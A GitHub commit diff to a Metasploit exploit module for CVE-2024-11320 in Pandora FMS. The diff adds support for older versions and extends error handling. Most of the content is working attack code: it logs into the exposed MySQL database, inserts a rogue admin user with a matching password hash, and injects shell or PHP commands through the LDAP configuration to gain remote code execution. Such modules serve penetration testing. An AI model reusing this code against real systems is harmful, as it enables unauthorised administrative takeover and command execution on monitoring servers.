Skip to content

Commit cf5b26d

Browse files
committed
Second release after testing multiple Pandora FMS versions
1 parent 2fe0b35 commit cf5b26d

File tree

1 file changed

+38
-23
lines changed

1 file changed

+38
-23
lines changed

modules/exploits/linux/http/pandora_fms_auth_rce_cve_2024_11320.rb

Lines changed: 38 additions & 23 deletions
Original file line numberDiff line numberDiff line change
@@ -4,6 +4,7 @@
44
##
55

66
require 'rex/proto/mysql/client'
7+
require 'digest/md5'
78

89
class MetasploitModule < Msf::Exploit::Remote
910
Rank = ExcellentRanking
@@ -30,7 +31,7 @@ def initialize(info = {})
3031
allows an attacker to access the Pandora FMS MySQL database, create a new admin user and gain
3132
administrative access to the Pandora FMS Web application. This attack can be remotely executed
3233
over the WAN as long as the MySQL services are exposed to the outside world.
33-
This issue affects Pandora FMS Community, Free and Enterprise edition: from 700 through <= 777.4
34+
This issue affects Community, Free and Enterprise editions: from v7.0NG.718 through <= v7.0NG.777.4
3435
},
3536
'Author' => [
3637
'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Metasploit module & default password weakness
@@ -107,6 +108,9 @@ def mysql_login(host, user, password, db, port)
107108
rescue ::Rex::Proto::MySQL::Client::AccessDeniedError
108109
print_error('Access denied')
109110
return false
111+
rescue StandardError => e
112+
print_error("Unknown error: #{e.message}")
113+
return false
110114
end
111115
true
112116
end
@@ -122,6 +126,9 @@ def mysql_query(sql)
122126
rescue Rex::ConnectionTimeout => e
123127
print_error("Timeout: #{e.message}")
124128
return false
129+
rescue StandardError => e
130+
print_error("Unknown error: #{e.message}")
131+
return false
125132
end
126133
res
127134
end
@@ -130,6 +137,8 @@ def mysql_query(sql)
130137
# return true if login successful else false
131138
def pandora_login(name, pwd)
132139
# first login GET request to get csrf code
140+
# in older versions of Pandora FMS this csrf code is not implemented
141+
# but for the sake of simplicity we still execute this GET request
133142
res = send_request_cgi({
134143
'method' => 'GET',
135144
'uri' => normalize_uri(target_uri.path, 'index.php'),
@@ -142,13 +151,12 @@ def pandora_login(name, pwd)
142151

143152
# scrape <input id="hidden-csrf_code" name="csrf_code" type="hidden" value="d3ec1cae43fba8259079038548093ba8" />
144153
html = res.get_html_document
145-
csrf_code = html.at('input[@id="hidden-csrf_code"]')
146-
vprint_status("csrf_code: #{csrf_code}")
147-
return if csrf_code.nil? || csrf_code.blank?
148-
149-
# return if csrf_code&.text.to_s.strip.empty?
154+
csrf_code_html = html.at('input[@id="hidden-csrf_code"]')
155+
vprint_status("csrf_code: #{csrf_code_html}")
156+
csrf_code = csrf_code_html.attribute_nodes[3] unless csrf_code_html.nil? || csrf_code_html.blank?
150157

151158
# second login POST request using the csrf code
159+
# csrf_code can be nil in older versions where the csrf_code is not implemented
152160
res = send_request_cgi!({
153161
'method' => 'POST',
154162
'uri' => normalize_uri(target_uri.path, 'index.php'),
@@ -160,16 +168,18 @@ def pandora_login(name, pwd)
160168
'nick' => name,
161169
'pass' => pwd,
162170
'Login_button' => "Let's go",
163-
'csrf_code' => csrf_code.attribute_nodes[3]
171+
'csrf_code' => csrf_code
164172
}
165173
})
166-
return res&.code == 200 && res.body.include?('id="welcome-icon-header"') || res.body.include?('id="welcome_panel"')
174+
return res&.code == 200 && res.body.include?('id="welcome-icon-header"') || res.body.include?('id="welcome_panel"') || res.body.include?('godmode')
167175
end
168176

169177
# CVE-2024-11320: Misconfigure LDAP with RCE payload
170178
# return true if successful else false
171179
def configure_ldap(payload)
172180
# first LDAP GET request to get the csrf_code
181+
# in older versions of Pandora FMS this csrf code is not implemented
182+
# but for the sake of simplicity we still execute this GET request
173183
res = send_request_cgi({
174184
'method' => 'GET',
175185
'uri' => normalize_uri(target_uri.path, 'index.php'),
@@ -184,13 +194,12 @@ def configure_ldap(payload)
184194

185195
# scrape <input id="hidden-csrf_code" name="csrf_code" type="hidden" value="d3ec1cae43fba8259079038548093ba8" />
186196
html = res.get_html_document
187-
csrf_code = html.at('input[@id="hidden-csrf_code"]')
188-
vprint_status("csrf_code: #{csrf_code}")
189-
return if csrf_code.nil? || csrf_code.blank?
190-
191-
# return if csrf_code&.text.to_s.strip.empty?
197+
csrf_code_html = html.at('input[@id="hidden-csrf_code"]')
198+
vprint_status("csrf_code: #{csrf_code_html}")
199+
csrf_code = csrf_code_html.attribute_nodes[3] unless csrf_code_html.nil? || csrf_code_html.blank?
192200

193201
# second LDAP POST request using the csrf_code
202+
# csrf_code can be nil in older versions where the csrf_code is not implemented
194203
res = send_request_cgi({
195204
'method' => 'POST',
196205
'uri' => normalize_uri(target_uri.path, 'index.php'),
@@ -202,7 +211,7 @@ def configure_ldap(payload)
202211
},
203212
'vars_post' => {
204213
'update_config' => 1,
205-
'csrf_code' => csrf_code.attribute_nodes[3],
214+
'csrf_code' => csrf_code,
206215
'auth' => 'ldap',
207216
'fallback_local_auth' => 1,
208217
'fallback_local_auth_sent' => 1,
@@ -237,12 +246,6 @@ def configure_ldap(payload)
237246
# CVE-2024-11320: Command Injection leading to RCE via LDAP Misconfiguration
238247
def execute_command(cmd, _opts = {})
239248
# modify php payload to trigger the RCE
240-
# if target['Type'] == :php_cmd
241-
# php_cmd = cmd.gsub(/'/, '"')
242-
# payload = "';php -r " + "\'#{php_cmd}\'" + ' #'
243-
# else
244-
# payload = "';" + cmd + ' #'
245-
# end
246249
payload = "';#{target['Type'] == :php_cmd ? "php -r'#{cmd.gsub(/'/, '"')}'" : cmd} #"
247250

248251
# misconfigure LDAP settings with RCE payload
@@ -303,8 +306,8 @@ def check
303306
return CheckCode::Detected('Could not determine the Pandora FMS version.')
304307
end
305308

306-
version = Rex::Version.new version
307-
unless version >= Rex::Version.new('7.0.700') && version <= Rex::Version.new('7.0.777.4')
309+
version = Rex::Version.new(version)
310+
unless version >= Rex::Version.new('7.0.718') && version <= Rex::Version.new('7.0.777.4')
308311
return CheckCode::Safe("Pandora FMS version #{full_version}")
309312
end
310313

@@ -326,7 +329,17 @@ def exploit
326329
# add a new admin user
327330
@username = Rex::Text.rand_text_alphanumeric(5..8).downcase
328331
@password = Rex::Text.rand_password
329-
password_hash = Password.create(@password)
332+
333+
# check the password hash algorithm by reading the password hash of the admin user
334+
# new pandora versions hashes the password in bcrypt $2*$, Blowfish (Unix) format else it is a plain MD5 hash
335+
mysql_query_res = mysql_query("SELECT password FROM tusuario WHERE id_user = 'admin';")
336+
fail_with(Failure::BadConfig, 'Cannot find admin credentials to determine password hash algorithm.') if mysql_query_res == false || mysql_query_res.size != 1
337+
hash = mysql_query_res.fetch_hash
338+
if hash['password'].match(/^\$2.\$/)
339+
password_hash = Password.create(@password)
340+
else
341+
password_hash = Digest::MD5.hexdigest(@password)
342+
end
330343
print_status("Creating new admin user with credentials #{@username}:#{@password} for access at the Pandora FMS Web application.")
331344
mysql_query_res = mysql_query("INSERT INTO tusuario (id_user, password, is_admin) VALUES (\'#{@username}\', \'#{password_hash}\', '1');")
332345
fail_with(Failure::BadConfig, "Adding new admin credentials #{@username}:#{@password} to the database failed.") if mysql_query_res == false
@@ -345,6 +358,8 @@ def exploit
345358
case target['Type']
346359
when :unix_cmd, :php_cmd
347360
execute_command(payload.encoded)
361+
else
362+
fail_with(Failure::BadConfig, "Unsupported target type: #{target['Type']}.")
348363
end
349364
end
350365
end

0 commit comments

Comments
 (0)